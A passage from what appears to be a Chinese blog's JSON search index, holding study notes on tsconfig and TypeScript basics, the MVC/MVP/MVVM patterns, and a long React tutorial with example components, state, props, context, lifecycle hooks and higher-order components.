的方式导入\nsourceRoot表示指定调试器需要定位的ts文件位置，而不是相对于源文件的路径\nmapRoot表示指定调试器需要定位的sourcemap文件的位置，而不是生成的文件位置\ninlineSourceMap是否开启将sourcemap文件内容生成内联字符串的方式写入到对于的js文件中，而不是生成.js.map文件\ninlineSources，是否开启将源文件的所有内容生成内联字符并且写入到sourcemap文件中，和inlineSourceMap功能类似\nexperimentalDecorators，是否开启装饰器的特性\nemitDecoratorMetadata，是否允许装饰器使用反射数据的特性\nskipLibCheck，表示是否可以跳过检查声明文件，开启可以省去不少编译时间，但是会牺牲类型系统的准确性\n因为ts是大小写敏感的，为了避免开发者在不同大小写敏感规则下的操作系统下开发而导致的问题，可以开启forceConsistentCasingInFileNames，开启该选项表示当开发者正在使用和系统不一致的大小写入规则时，会抛出错误\nfiles表示指定ts项目需要包含的文件列表\ninclude表示指定需要包含在ts项目的文件或者文件匹配路径，如果配置了files，那么默认值为[]，如果没有设置默认值为[\u0026rsquo;**/*\u0026rsquo;]，就是包含目录下的所有文件\nexclude表示指定解析include配置中需要跳过的文件或者文件匹配路径，例如node_modules\nextends配置指为字符串，表示声明当前配置需要继承另一个配置的路径，ts会向加载extends的配置文件，在使用当前的tsconfig.json文件的配置来覆盖继承文件里的配置\n","permalink":"https://chenjunlinabc.github.io/posts/58/","summary":"TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上\nTypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript\nTypeScript实质上就是JavaScript的扩展，JavaScript超集\nTypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）\nTypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）\n全局安装typescript\nyarn global add typescript\n或者\nnpm install -g typescript\n安装ts-node（node不能直接运行ts文件，需要安装ts-node包）\nnpm install -g ts-node\nts-node运行（不需要编译成js文件，直接运行ts）\nts-node hallo.ts\n检查是否安装成功\ntsc -v\n使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀\n创建tsconfig.json\nnpx tsc \u0026ndash;init\n执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）\ntsc\n或者指定编译的文件\ntsc ./src/index.ts\ntsc ./src/index.ts -t es6 -m cjs\n注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports\n编译指定ts文件（在compilerOptions同级）\n\u0026ldquo;include\u0026rdquo;:[\u0026quot;./test1.ts\u0026quot;] // 指定编译哪个ts文件 \u0026ldquo;excclude\u0026rdquo;:[\u0026quot;./test.ts\u0026quot;] // 指定不编译哪个ts文件\n编译TypeScript文件\ntsc hallo.ts\n变量声明\n推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）\n基础类型\nTypeScript具有强类型的特点\nboolean，string，number，array，null，undefined，object，tuple，enum，void，never，any\nboolean布尔值，例如：\nlet hallo: boolean = true\nnumber数值，例如：\nlet hallo: number = 123;","title":"TypeScript学习笔记"},{"content":"MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）\n视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的\n也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图\nMVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）\n各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理\nMVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中\n在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode\n","permalink":"https://chenjunlinabc.github.io/posts/56/","summary":"MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）\n视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的\n也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图\nMVP（Model-View-Presenter）实质是就是将Controller（控制器，逻辑）改为Presenter（从模型中获取数据，并且提供数据给视图）\n各个通信之间是双向的，视图和模型并不联系，通过Presenter进行传递，全部逻辑都在Presenter进行处理\nMVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基本一致，不过MVVM采用了双向绑定，视图变化，自动反映在ViewModel中\n在前端中Model是用json表示，将Model和View关联起来的是ViewModel，Mode数据可以显示到View中，也可以将View修改回Mode","title":"简单了解MVC，MVP和MVVM之间的不同与联系"},{"content":"React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化\n安装react\nnpm i react react-dom\n必需：react和react-dom\nreact包是提供创建元素，组件等功能，是核心（废话）\nreact-dom包提供DOM相关的功能\n通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上\n也可以通过引入src文件的方式引入cdn文件或者本地文件\n第一个例子\n\u0026lt;script type=\u0026quot;text/babel\u0026quot;\u0026gt; ReactDOM.render( \u0026lt;h1\u0026gt;hallo,react!!!\u0026lt;/h1\u0026gt;, document.getElementById(\u0026quot;app\u0026quot;) ); \u0026lt;/script\u0026gt; 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了\njsx是一种JavaScript语法扩展，例如：\nconst hallo = \u0026lt;h1\u0026gt;hallo\u0026lt;/h1\u0026gt;; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）\n在jsx中插入JavaScript表达式，用大括号包含起来，例如：\nfunction hallo(yes){ return yes.name; } const yes = { name: \u0026quot;react\u0026quot; }; const hallo = \u0026lt;h1\u0026gt;hallo,{hallo(yes)}\u0026lt;/h1\u0026gt;; ReactDOM.render( hallo, document.getElementById(\u0026quot;app\u0026quot;) ); 当然react并没有强制要求必须使用jsx，例如：\nconst hallo = React.createElement(\u0026quot;h1\u0026quot;,{class: \u0026quot;main\u0026quot;},React.createElement(\u0026quot;p\u0026quot;,null,\u0026quot;hallo word!!!\u0026quot;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(\u0026quot;app\u0026quot;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架\n初始化项目\nnpx create-react-app app\n启动项目（在项目根目录执行）\nnpm start或者yarn start\n模块化导入react\nimport React from \u0026ldquo;react\u0026rdquo; import ReactDOM from \u0026ldquo;react-dom\u0026rdquo;\nReact元素的属性名采用驼峰命名法\nclass就需要改为className，for要改为htmlFor等等，例如：\nconst app = (\u0026lt;div className=\u0026quot;app\u0026quot;\u0026gt;hallo\u0026lt;/div\u0026gt;) 如果一个元素中没有子节点可以直接写为\n推荐使用小括号包裹jsx，避免陷入自动插入分号陷阱\nJavaScript表达式可使用大括号{}来包裹，直接使用，例如：\nconst app = (\u0026lt;div\u0026gt;hallo，{3 \u0026lt; 8 ? \u0026quot;react\u0026quot; : \u0026quot;word\u0026quot;}\u0026lt;/div\u0026gt;) 任何数据类型和函数调用都可以（对象除外），表示式的特点就是有值就可以，jsx本身也是个JavaScript表达式\n因为if或者for之类的语句不能出现在大括号中\n条件渲染（根据条件进行渲染指定jsx结构）\nimport React from \u0026quot;react\u0026quot; import ReactDOM from \u0026quot;react-dom\u0026quot; const datamain = true; const hallo = () =\u0026gt; { if(datamain){ return \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;; } return \u0026lt;div\u0026gt;数据加载完成\u0026lt;/div\u0026gt;; } const app =( \u0026lt;div\u0026gt; {hallo()} \u0026lt;/div\u0026gt; ) ReactDOM.render(app,document.getElementById(\u0026quot;app\u0026quot;)) 当然也是支持三元表达式的，例如：\nconst Data = () =\u0026gt; { return datamain ? (\u0026lt;div\u0026gt;yes\u0026lt;/div\u0026gt;) : (\u0026lt;div\u0026gt;no\u0026lt;/div\u0026gt;) } 列表渲染\nconst arrs = [ {id: 1,name: \u0026quot;root\u0026quot;}, {id: 2,name: \u0026quot;admin\u0026quot;}, {id:3,name: \u0026quot;user\u0026quot;} ] const lists = ( \u0026lt;ul\u0026gt; {arrs.map(item =\u0026gt; \u0026lt;li key={item.id}\u0026gt;{item.name}\u0026lt;/li\u0026gt;)} \u0026lt;/ul\u0026gt; ) ReactDOM.render(lists,document.getElementById(\u0026quot;app\u0026quot;)) jsx样式\n行内样式style，类className，例如：\nconst app = (\u0026lt;div style={{color: \u0026quot;#ccc\u0026quot;}}\u0026gt;hallo\u0026lt;/div\u0026gt;) react组件的概念和vue组件一样，拼装积木，重复性，独立性\n函数创建组件\n函数名开头必须大写（否则报错），函数组件必须要有返回值（否则报错），如果返回值为null，就不渲染任何内容，例如：\nfunction Hello(){ return( \u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt; ) } ReactDOM.render(\u0026lt;Hello /\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 或者\nconst Hello = () =\u0026gt; (\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;) 类创建组件\n同样类名开头也要是大写，而且类组件要继承React.Component父类，使用父类中的方法和属性，而且还要提供render()方法，render()还要有返回值\nclass Hello extends React.Component{ render(){ return (\u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt;) } } ReactDOM.render(\u0026lt;Hello /\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 如果组件很多，应该放到单独的js文件，独立化个体，导入react，导出组件（export），用到该组件就导入\n事件绑定\nreact事件采用了驼峰命名法，比如onClick，onMouseEnter，onFocus，例如：\nclass Hello extends React.Component{ mainClick(){ console.log(\u0026quot;被点击了\u0026quot;) } render(){ return (\u0026lt;div onClick={this.mainClick}\u0026gt;hallo,react\u0026lt;/div\u0026gt;) } } 注意：如果是函数组件，就不需要加this，直接return (hallo,react)\n事件对象\n可以通过事件处理程序的参数来获取到事件对象，在react中事件对象又叫为合成事件，兼容所有浏览器，无需担心浏览器兼容问题\n阻止浏览器的默认行为\nclass Hello extends React.Component{ mainClick(e){ e.preventDefault(); console.log(\u0026quot;被点击了\u0026quot;) } render(){ return (\u0026lt;a onClick={this.mainClick} href=\u0026quot;https://xiaochenabc123.test.com\u0026quot;\u0026gt;hallo,react\u0026lt;/a\u0026gt;) } } 状态组件（状态即数据的更新）\n函数组件为无状态组件，类组件为有状态组件\n如果数据不需要变化就用函数组件，否则就类组件\n状态（state）是组件内部的私有数据，只能在组件内部使用，state的值是一个对象，表示组件可以存在多个数据\n第一种存储state方法\nconstructor(){ super() this.state ={ count :0 } } 第二种存储state方法（推荐）\nstate = { count: 0 } 获取state值\nrender(){ return (\u0026lt;div\u0026gt;{this.state.count}\u0026lt;/div\u0026gt;) } 修改状态（状态可变）\nthis.setState({要修改的数据})\nrender(){ return (\u0026lt;div onClick={()=\u0026gt;{ this.setState({ count: this.state.count + 1 }) }}\u0026gt;{this.state.count}\u0026lt;/div\u0026gt;) } } 注意：不要直接修改state的值，setState的作用是先更新state，然后更新视图\nstate抽离出逻辑\n注意：箭头函数自身并不绑定this，箭头函数中this取决于外部环境\nclass Hello extends React.Component{ state = { count: 0 } mainClick(){ this.setState({ count: this.state.count + 1 }) } render(){ return ( \u0026lt;div\u0026gt; \u0026lt;div onClick={()=\u0026gt; this.mainClick()}\u0026gt;+1\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;{this.state.count}\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ) } } ReactDOM.render(\u0026lt;Hello /\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 解决绑定事件的this指向问题\n如果不想利用指向函数（也可以给事件函数定义为指向函数），也可以利用bind()方法，例如：\nthis.mainClick = this.mainClick.bind(this) 受控组件（其值受到react所控制），例如：\nstate = { txt: \u0026quot;\u0026quot; } \u0026lt;div\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; value={this.state.txt} onChange ={ e =\u0026gt; this.setState({ txt: e.target.value })} /\u0026gt; \u0026lt;div\u0026gt; {this.state.txt} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; input（text），textarea，select都是用value控制，而input（CheckBox）就用checked控制\n需要根据表单元素来判断其使用不同的类型控制（可以使用三元表达式来指示）\n如果是非受控组件，想获取属性值，通过使用React.createRef()创建ref对象，使用ref来获取，例如：\nmainClick = () =\u0026gt;{ console.log(this.Ref.current.value) } constructor(){ super() this.Ref = React.createRef() } \u0026lt;div\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; ref={this.Ref}/\u0026gt; \u0026lt;div onClick={this.mainClick}\u0026gt; hallo \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; 深入学习React组件\n组件通讯（组件是独立并且封闭的，需要共享组件的数据，就需要组件通讯了）\n接收传递给组件的数据需要通过props，函数组件通过props参数接收，类组件通过this.props接收，例如：\nconst Hallo = props =\u0026gt;{ console.log(props) return ( \u0026lt;div\u0026gt;数据：{props.name}\u0026lt;/div\u0026gt; ) } ReactDOM.render(\u0026lt;Hallo name=\u0026quot;root\u0026quot;/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 从上面返回的props中可以看出是一个对象，也就是说可以传递多个数据\nclass Hi extends React.Component{ render(){ return( \u0026lt;div\u0026gt;数据：{this.props.name}\u0026lt;/div\u0026gt; ) } } ReactDOM.render(\u0026lt;Hi name=\u0026quot;root\u0026quot; pass={123}/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) props可以传递任意类型的数据，props是只读的对象，只能读取属性的值，不能修改该对象，使用类组件，如果有构造函数，需要将其props传递给super()，通过props参数，否则无法在构造函数获取props（super(props)）\n组件的通讯有三种，分别是父对子，子对父，兄弟\n父组件传递数据给子组件：只需要在父组件中定义子组件的属性，例如：\nconst Hallo = props =\u0026gt;{ console.log(props) return ( \u0026lt;span\u0026gt;{props.name}\u0026lt;/span\u0026gt; ) } class Hi extends React.Component{ state = { Name: \u0026quot;root\u0026quot; } render(){ console.log(this.props) return( \u0026lt;div\u0026gt;数据： \u0026lt;Hallo name={this.state.Name}/\u0026gt; \u0026lt;/div\u0026gt; ) } } ReactDOM.render(\u0026lt;Hi/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 子组件传递数据给父组件\n通过回调函数，父组件提供回调，子组件调用，将数据通过回调函数的参数传递，例如：\nclass Abc extends React.Component{ state = {name: \u0026quot;root\u0026quot;} DataClick = () =\u0026gt;{ this.props.getMsg(this.state.name) } render(){ return ( \u0026lt;div onClick={this.DataClick}\u0026gt;yes\u0026lt;/div\u0026gt; ) } } class Hi extends React.Component{ state = { Name: \u0026quot;默认值\u0026quot; } getDate = data =\u0026gt;{ console.log(data) this.setState({ Name: data }) } render(){ return( \u0026lt;div\u0026gt;数据：{this.state.Name} \u0026lt;Abc getMsg = {this.getDate}/\u0026gt; \u0026lt;/div\u0026gt; ) } } ReactDOM.render(\u0026lt;Hi/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 兄弟组件通讯\n将共享状态提升到最近的公共父组件中，由公共父组件管理这个状态（状态提升）\n公共父组件：提供共享状态，提供操作共享状态的方法\nA组件修改共享状态，公共父组件收到新的状态，B组件通过props接收到新的状态，从而达到兄弟组件之间的通讯\n例如：\nclass Hallo extends React.Component{ state = { count: 0 } onMax = () =\u0026gt;{ this.setState({ count: this.state.count +1 }) } render(){ return ( \u0026lt;div\u0026gt; \u0026lt;Abc count={this.state.count}/\u0026gt; \u0026lt;Xyz onMax = {this.onMax}/\u0026gt; \u0026lt;/div\u0026gt; ) } } const Abc = (props) =\u0026gt; { return ( \u0026lt;div\u0026gt; hallo,{props.count} \u0026lt;/div\u0026gt; ) } const Xyz = (props) =\u0026gt; { return ( \u0026lt;div onClick = {() =\u0026gt; props.onMax()}\u0026gt; xyz \u0026lt;/div\u0026gt; ) } ReactDOM.render(\u0026lt;Hallo /\u0026gt;,document.getElementById(\u0026quot;root\u0026quot;)) Context（跨组件传递数据）\nContext实质上就是生产者-消费者模式\n调用React.createContext()，创建provide（提供数据）和consumer（获取数据）这两个组件\nconst {Provide,Consumer} = React.createContext()\n通过value属性提供数据，然后通过回调函数来获取到value的数据\n例如：\nconst {Provider,Consumer} = React.createContext() class Hallo extends React.Component{ state = { count: 0 } onMax = () =\u0026gt;{ this.setState({ count: this.state.count +1 }) } render(){ return ( \u0026lt;div\u0026gt; \u0026lt;Provider value = \u0026quot;react\u0026quot;\u0026gt; \u0026lt;Abc /\u0026gt; \u0026lt;/Provider\u0026gt; \u0026lt;/div\u0026gt; ) } } const Abc = (props) =\u0026gt; { return ( \u0026lt;div\u0026gt; \u0026lt;Consumer\u0026gt; { data =\u0026gt; \u0026lt;div\u0026gt;hallo,{data}\u0026lt;/div\u0026gt; } \u0026lt;/Consumer\u0026gt; \u0026lt;/div\u0026gt; ) } props深入学习\nchildren属性：表示组件标签的子节点，当组件标签有子节点时，props就会拥有该属性\nchildren属性值可以是任意值（文本，jsx，组件，函数等等）\nchildren属性指向到当前子节点的数据，{props.children}，例如：\nconst Button = () =\u0026gt; ( \u0026lt;button\u0026gt; 我是一个button组件 \u0026lt;/button\u0026gt; ) const Yes = (props) =\u0026gt;{ return( \u0026lt;div\u0026gt; 组件的子节点：{props.children} \u0026lt;/div\u0026gt; ) } ReactDOM.render(\u0026lt;Yes\u0026gt;\u0026lt;Button/\u0026gt;\u0026lt;/Yes\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) props校验（保证组件传入指定合法格式的数据）\n安装prop-types\nyarn add prop-types\n导入prop-types包并且建立个props校验实例\nimport propTypes from \u0026quot;prop-types\u0026quot; class Noabc extends React.Component{ render(){ return( \u0026lt;div\u0026gt;hallo,{this.props.name}\u0026lt;/div\u0026gt; ) } } Noabc.propTypes = { name: propTypes.string } ReactDOM.render(\u0026lt;Noabc name=\u0026quot;react\u0026quot;/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 当传入的值的类型不对，将抛出错误\nprops默认值\n给props设置默认值，在未传入props时生效\nclass Defaultabc extends React.Component{ render(){ return( \u0026lt;div\u0026gt;props的默认值：{this.props.Defaultdata}\u0026lt;/div\u0026gt; ) } } Defaultabc.defaultProps = { Defaultdata: 999 } ReactDOM.render(\u0026lt;Defaultabc/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 单向数据流：指的是当前组件的state以props的形式流动时，只能流向组件树中比自己层级低的组件，不能向上流，也就是说可父传子，祖先传后辈，但是不能子传父\n父传子通信，基于数据流单向的特性，父组件可以直接将this.props传入子组件中\n子传父通信，因为数据流单向的特性，不能直接将数据传递给父组件，而是通过父组件传递子组件一个携带了上下文的函数，子组件得到这个函数后，传递给父组件的数据将以函数参数的形式发送回去\n兄弟通信，利用父传子通信的特性，可以在两个兄弟组件之上创建一个父组件，来当中间件，实质上还是父传子通信\n消息订阅与发布机制是组件通信的万金油，这边使用的是PubSubjs\n安装\nnpm i pubsub-js\n引入\nimport PubSub from \u0026lsquo;pubsub-js\u0026rsquo;\n只需要在父组件（祖先组件）中发布，然后在子组件（后辈组件）中订阅，就可以实现了\n发布\nPubSub.publish(\u0026rsquo;test\u0026rsquo;,\u0026lsquo;hallo word\u0026rsquo;)\n发布信息实质是就是发送数据\n订阅\nconst DataMain = PubSub.subscribe(\u0026rsquo;test\u0026rsquo;,data)\n其中data就是\u0026rsquo;hallo word\u0026rsquo;的数据，订阅是获取发布的数据\n取消订阅\nPubSub.unsubscribe(DataMain)\n组件的生命周期\n组件的生命周期有利于掌握组件的运行方式，实现更复杂的组件功能，分析组件错误原因\n生命周期：被创建，到挂载页面，卸载组件的过程\n生命周期的每个阶段都可以伴随一些方法来调用，而这些方法就是生命周期的钩子函数（和vue的生命周期概念是一样的）\n注意：只有类组件才有生命周期，函数组件没有\n创建时：当组件被创建时（页面加载时），constructor() -\u0026gt; render() -\u0026gt; componentDidMount()\n例如：\nclass Defaultabc extends React.Component{ constructor(props){ super(props) console.log(\u0026quot;constructor钩子被触发\u0026quot;) } componentDidMount(){ console.log(\u0026quot;componentDidMount钩子被触发\u0026quot;) } render(){ console.log(\u0026quot;render钩子被触发\u0026quot;) return( \u0026lt;div\u0026gt;hallo react\u0026lt;/div\u0026gt; ) } } constructor钩子在创建组件时触发，初始化state，为事件程序绑定this\nrender钩子在组件渲染时触发，渲染视图，注意：不要在render下使用setState方法\ncomponentDidMount钩子在组件被挂载后触发（完成DOM渲染），发送网络请求，DOM操作\n更新时：\n当一个组件接收到新属性（new props）时，使用setState()，强制更新forceUpdate()都会触发重新渲染\n例如：\nclass Maxabc extends React.Component{ constructor(props){ super(props) this.state = { count: 0 } } goClick = () =\u0026gt;{ this.setState({ count: this.state.count + 1 }) } componentDidUpdate(){ console.log(\u0026quot;componentDidUpdate钩子触发\u0026quot;) } render(){ console.log(\u0026quot;reder钩子被触发\u0026quot;) return( \u0026lt;div\u0026gt; \u0026lt;div\u0026gt;hallo,{this.state.count}\u0026lt;/div\u0026gt; \u0026lt;button onClick={this.goClick}\u0026gt;go\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; ) } } ReactDOM.render(\u0026lt;Maxabc/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 在这个实例可以看出，只要使用setState方法改变了数据，就会重新渲染组件，同时如果没有更新，就不触发componentDidUpdate钩子，当发生更新才会触发\ncomponentDidUpdate钩子：发生网络请求，DOM操作，注意：如果需要setState()，需要放在一个if条件中，传入prevProp参数，获取上一次更新的props，this.props可以获取到当前的props\n例如：\ncomponentDidUpdate(prevProp){ console.log(\u0026quot;componentDidUpdate钩子触发\u0026quot;) if(prevProp.count !== this.props.count){ this.setState({}) } } 判断条件为更新前的props是否和当前的props不相等\n卸载时：当组件从页面中卸载时\ncomponentWillUnmount钩子：当组件被卸载时触发，可以用来执行清理工作等等\n例如：\nclass Maxabc extends React.Component{ componentDidUpdate(prevProp){ console.log(\u0026quot;componentDidUpdate钩子触发\u0026quot;) if(prevProp.count !== this.props.count){ this.setState({}) } } constructor(props){ super(props) this.state = { count: 0 } } goClick = () =\u0026gt;{ this.setState({ count: this.state.count + 1 }) } render(){ console.log(\u0026quot;reder钩子被触发\u0026quot;) return( \u0026lt;div\u0026gt; \u0026lt;p\u0026gt; 点击数：{this.state.count} \u0026lt;/p\u0026gt; { this.state.count \u0026gt;= 10 ? \u0026lt;p\u0026gt;已经点击了10次\u0026lt;/p\u0026gt; : \u0026lt;Gabc/\u0026gt; } \u0026lt;button onClick={this.goClick}\u0026gt;go\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; ) } } class Gabc extends React.Component{ render(){ return( \u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt; ) } componentWillUnmount(){ console.log(\u0026quot;componentWillUnmount钩子被触发\u0026quot;) } } ReactDOM.render(\u0026lt;Maxabc/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 清理（例如定时器），例如：\nclass Gabc extends React.Component{ componentDidMount(){ this.timeId = setInterval(()=\u0026gt;{ console.log(\u0026quot;定时器执行中\u0026quot;) },1000) } render(){ return( \u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt; ) } componentWillUnmount(){ console.log(\u0026quot;componentWillUnmount钩子被触发\u0026quot;) clearInterval(this.timeId) } } 当卸载事件发生，就执行清除定时器，使用clearInterval()方法清除\n注意：如果创建了一些不是组件本身的事件（例如定时器），一定要在组件被卸载的时候清除，避免一些奇怪的问题发生\nrender-props和高阶组件（HOC）\n复用相似功能（复用状态state，组件状态的逻辑）\nrender-props模式\n将复用状态state，组件状态的逻辑封装到一个组件中\n添加一个值为函数的prop，通过函数参数来获取，通过该函数的返回值作为要渲染的内容\n将复用的状态作为props.render(state)方法的参数，暴露到组件的外部\n例如：\nclass Hello extends React.Component{ state = { x: 0, y: 0 } yesClick = (e) =\u0026gt;{ this.setState({ x: e.clientX, y: e.clientY }) } componentDidMount(){ window.addEventListener(\u0026quot;mousemove\u0026quot;,this.yesClick) } render(){ return this.props.render(this.state) } } class App extends React.Component{ render(){ return( \u0026lt;div\u0026gt; \u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt; \u0026lt;Hello render = {(mouse) =\u0026gt;{ return( \u0026lt;p\u0026gt; 鼠标坐标：{mouse.x},{mouse.y} \u0026lt;/p\u0026gt; ) }}/\u0026gt; \u0026lt;/div\u0026gt; ) } } 也可以使用children代替render属性，例如：\nclass Hello extends React.Component{ state = { x: 0, y: 0 } yesClick = (e) =\u0026gt;{ this.setState({ x: e.clientX, y: e.clientY }) } componentDidMount(){ window.addEventListener(\u0026quot;mousemove\u0026quot;,this.yesClick) } render(){ return this.props.children(this.state) } } class App extends React.Component{ render(){ return( \u0026lt;div\u0026gt; \u0026lt;div\u0026gt;hallo,react\u0026lt;/div\u0026gt; \u0026lt;Hello\u0026gt; { mouse =\u0026gt;{ return( \u0026lt;p\u0026gt; 鼠标坐标：{mouse.x},{mouse.y} \u0026lt;/p\u0026gt; ) } } \u0026lt;/Hello\u0026gt; \u0026lt;/div\u0026gt; ) } } ReactDOM.render(\u0026lt;App/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 可以给render props模式加props校验\n应该在组件卸载时解除mousemove事件绑定（只要不是react的事件，都应该进行清除其他事件，例如window事件）\ncomponentWillUnmount(){ window.removeEventListener(\u0026quot;mousemove\u0026quot;,this.handleMouseMove) } 高阶组件\n高阶组件（HOC，Higher-Order Component），实质上就是一个函数，接收要包装的组件，返回增强后的组件\n高阶组件实质上就是给组件进行“包装”，通过“包装”来增强组件的功能\n高阶组件内部会创建一个类组件，在这个类组件中提供状态逻辑程序，通过prop将复用状态传递给被包装组件\n创建函数，函数名一般是with开头，函数参数是要渲染的组件，因此参数是大写字母开头\n在该函数中创建个类组件，提供复用的状态逻辑程序，状态通过prop传递给参数组件\n例如：\nconst withHallo = (DemoAbc) =\u0026gt;{ return class App extends React.Component{ state = { x: 0, y: 0 } onAbc = (e) =\u0026gt;{ this.setState({ x: e.clientX, y: e.clientY }) } render() { return ( \u0026lt;div onMouseMove= {this.onAbc}\u0026gt; \u0026lt;DemoAbc {...this.props} mouse={this.state}/\u0026gt; \u0026lt;/div\u0026gt; ) } componentDidMount(){ window.addEventListener(\u0026quot;mousemove\u0026quot;,this.onAbc) } // eslint-disable-next-line react/no-typos componentWillunmount(){ window.removeEventListener(\u0026quot;mousemove\u0026quot;,this.onAbc) } } } const PostMax = (props) =\u0026gt;{ const { x, y } = props.mouse return ( \u0026lt;div \u0026gt; \u0026lt;p\u0026gt;(x:{x}, y:{y})\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; ) } const Demoyes = withHallo(PostMax) ReactDOM.render(\u0026lt;Demoyes /\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 可以从上面的实例看出，实质上就是通过函数参数方式接收一个组件，再返回一个新的组件，达到“包装”更多的功能给组件\n使用高阶组件会导致获得的组件名称相同，名称取自于高阶组件中的类组件名称\n通过设置displayName，来区分不同的组件，displayName是用来设置调试信息（react developer tools消息）的\n可以通过react developer tools浏览器插件查看效果\n通过给高阶组件中的类组件设置displayName，例如：\nconst withHallo = (DemoAbc) =\u0026gt;{ class App extends React.Component{ ...... } App.displayName = `WithHallo${ADisplayName(DemoAbc)}` return App } function ADisplayName(DemoAbc){ return DemoAbc.displayName || DemoAbc.name || \u0026quot;Component\u0026quot; } 传递props（避免props丢失）\n通过高阶组件返回的组件中，是获取不到props的，因为数据都传递给高阶组件中的类组件了（高阶组件没有往下传递props）\n只需要将state和this.props一起传递就可以解决，例如：\nrender() { return ( \u0026lt;div onMouseMove= {this.onAbc}\u0026gt; \u0026lt;DemoAbc {...this.state} {...this.props} mouse={this.state}\u0026gt;\u0026lt;/DemoAbc\u0026gt; \u0026lt;/div\u0026gt; ) } const PostMax = (props) =\u0026gt;{ const { x, y } = props.mouse // eslint-disable-next-line no-undef console.log(props) return ( \u0026lt;div \u0026gt; \u0026lt;p\u0026gt;(x:{x}, y:{y})\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; ) } const Demoyes = withHallo(PostMax) ReactDOM.render(\u0026lt;Demoyes a=\u0026quot;hallo\u0026quot;/\u0026gt;,document.getElementById(\u0026quot;app\u0026quot;)) 通过上面的方法向下传递props就能获取到a的值了， {\u0026hellip;this.state} {\u0026hellip;this.props}\n","permalink":"https://chenjunlinabc.github.io/posts/55/","summary":"React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化\n安装react\nnpm i react react-dom\n必需：react和react-dom\nreact包是提供创建元素，组件等功能，是核心（废话）\nreact-dom包提供DOM相关的功能\n通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上\n也可以通过引入src文件的方式引入cdn文件或者本地文件\n第一个例子\n\u0026lt;script type=\u0026quot;text/babel\u0026quot;\u0026gt; ReactDOM.render( \u0026lt;h1\u0026gt;hallo,react!!!\u0026lt;/h1\u0026gt;, document.getElementById(\u0026quot;app\u0026quot;) ); \u0026lt;/script\u0026gt; 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了\njsx是一种JavaScript语法扩展，例如：\nconst hallo = 